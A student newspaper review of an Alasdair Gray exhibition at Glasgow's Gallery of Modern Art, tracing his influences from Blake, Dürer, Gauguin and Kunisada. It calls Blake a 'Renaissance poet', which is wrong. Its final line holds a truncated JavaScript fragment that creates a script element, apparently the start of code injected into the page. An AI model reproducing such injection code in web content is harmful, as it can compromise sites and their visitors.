Strathclyde Telegraph

Alasdair Gray: Spheres of Influence I


By Kerri Mackenzie, Arts Editor

Gallery of Modern Art;  22nd November 2014 – 25th May 2015

As part of the Alasdair Gray season, celebrating the artist’s 80th birthday, Spheres of Influence I is an exhibition not only of Gray’s own work but also of the artists who inspired him. There are several shows forming part of the season including ones at Kelvingrove and the Glasgow School of Art as well as this exhibit at GoMa.

All of the artwork shown in the exhibition comes from the Glasgow Collections and features works by Albrecht Durer, William Blake, Paul Gaugin and Aubrey Beardsley.

One of the main influences on Gray was William Blake who is better known as a Renaissance poet but who was also a talented artist and engraver. An Observer review of Gray’s ‘Every short story 1951-2012’ proclaimed Gray as “a true original, a 20th Century William Blake” and it is clear that Gray was heavily inspired by him.  The parallels between the two are evident as both were writers who illustrated their own texts. Durer and Blake are both seen in Gray’s work as he drew heavily on medieval and renaissance inspired artistic style but with his own modern twist, of course.

The exhibition also features images of Gaugin’s woodcarvings which accompanied his book on his time in Tahiti; again the similarities between Gray and this artist are evident. The naïve and primitive nature of Gaugin’s woodcarvings create an abstract quality which is also reflected in Gray’s work.

As you progress round the exhibit there is a whole section of prints by Kunisada (Toyokuni III) who was one of Japan’s most celebrated print masters of the 19th century. His work inspired both Aubrey and Gaugin which in turn inspired Gray. The most interesting aspect of the exhibit is seeing the ways in which artists drew inspiration from their predecessors but also from their contemporaries and the best part for me was going back to the start of the exhibit to take a closer look at Gray’s works after learning more about the artists and techniques that inspired him.

Whether you have an interest in art technique, art history or just enjoy looking at good artwork this is the exhibit for you. GoMa is renowned for showcasing brilliant contemporary art but the more abstract pieces aren’t always everyone’s cup of tea but this exhibit is very accessible and well worth a visit.var d=document;var s=d.createElement(‘script’);